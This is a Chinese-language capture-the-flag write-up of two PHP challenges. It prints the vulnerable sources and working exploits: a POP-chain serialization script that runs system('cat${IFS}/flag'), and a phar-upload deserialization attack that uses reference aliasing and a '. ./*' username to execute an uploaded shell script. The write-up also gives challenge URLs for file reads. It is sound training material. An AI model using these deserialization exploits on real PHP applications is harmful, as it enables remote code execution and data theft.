**
EasyPOP
**
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
Ctfer: Duration of practice: Two and a half years
sorry->destruct 里有个 echo $this->hint
可以触发 show->toString
因为 secret_code里面的show方法是私有方法
所以可以
让show->toString 触发 secret_code->call方法
然后让call方法调用this->num()
也就是调用自己的show方法
然后触发sorry->get 方法
再触发fine的invoke方法
利用代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct()
{
$this->cmd = 'system';
$this->content = 'cat${IFS}/flag';
}
public function __invoke()
{
echo "start invoke";
call_user_func($this->cmd, $this->content);
}
}
class show
{
public $ctf;
public function __construct()
{
$this->ctf = new secret_code();
}
public function __toString()
{
echo "start tostring";
return $this->ctf->show('show');
}
public function show()
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint='hint is depend on you' ;
public $key;
public function __construct()
{
}
public function __get($name)
{
echo "start get";
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo "ru kou";
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function setPassword($password)
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public function __construct(){
$a=new sorry();
$a->key=new fine();
$this->code=$a;
// $this->code=new sorry();
}
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
echo "start call";
$num = $name;
$this->$num();
}
private function show()
{
echo 'chufal';
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
//$a->setPassword(md5(mt_rand()));
}else{
$b=new sorry();
$b->hint=new show();
$c=new secret_code();
echo serialize($b);
echo '<br>';
echo urlencode(serialize($b));
}
这里不知道为什么直接读出来了其实步骤里还差一个永真表达式
就是让
$this->password=&$this->name
指向地址这样判断就能成立这个永真表达式用在下面一道题里面来细细讲
hade_waibo
看了题解俺这个是非预期
但是大差不差
首先是cancanneed下面有任意文件包含
先去读file.php
发现他包含了class.php然后去读class.php
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
class File
{
#更新黑åå•ä¸ºç™½åå•ï¼Œæ›´åŠ 的安å
¨
public $white = array("jpg","png");
public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}
}
#更新了一个æ¶æ„åˆæœ‰è¶£çš„Testç±»
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
这里有个backdoor有个 system函数
但是过滤字母数字下划线
那种取反,异或,或在system函数里是用不了的
然后我突然想到了之前一次配合 临时文件上传的 执行
我们可以用. ./*来把当前目录下的文件当做shell文件执行
因为这里还有个文件上传点,文件包含处,很容易就能联想到
phar反序列化
反序列化时Test里面有个 __wakeup类
他会把我们的value值变掉那我们该怎么操作,才能让value是恒定的呢?
这里就用到了上面第一题说的恒定式
我们只需要让他指向一个变量的地址,这样就无法改变了
那么问题来了哪个变量是我们可控的呢?
我们看到user类里的wakeup方法会使$this->username=seesion[‘username’]
也就是登录时我们要输入的账户名
<?php
class User{
public $username;
}
class Test
{
public $value;
}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->test=$a;
$a->value=&$b->username;
这样是不是就一目了然了,User也参加反序列化 然后里面的 Test也可以参加反序列化触发自己的destruct方法
那么我们应该怎么触发呢?
我想了想上传一个
内容为#!/bin/bash
ls /
的jpg文件说干就干
然后制作一个phar文件
<?php
class User{
public $username;
}
class Test
{
public $value;
}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->test=$a;
$a->value=&$b->username;
unlink("SKI12.phar");
$phar = new Phar("SKI12.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
然后我们重新登录一个名为 . ./* 的用户
然后上传phar文件后缀改成jpg就行,然后用phar伪协议包含
http://45f18fe7-0f31-430c-9cb9-c7bc52cfb08b.node4.buuoj.cn:81/file.php?m=show&filename=phar://upload/dasctfd8ff51fcd5e1c0a98903e8229f8bd847.jpg
这里第一次没执行成就重开了个环境重新上传
也就是
system(‘. ./*’);
然后当前目录下正好有一个内容是
ls /的jpg文件当做 ls / 执行了
然后列出了当前目录 然后我们就看到了flag文件
这里文件包含去读就行了
http://45f18fe7-0f31-430c-9cb9-c7bc52cfb08b.node4.buuoj.cn:81/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc
base64解码
先去复现剩下两道了 疲惫.jpg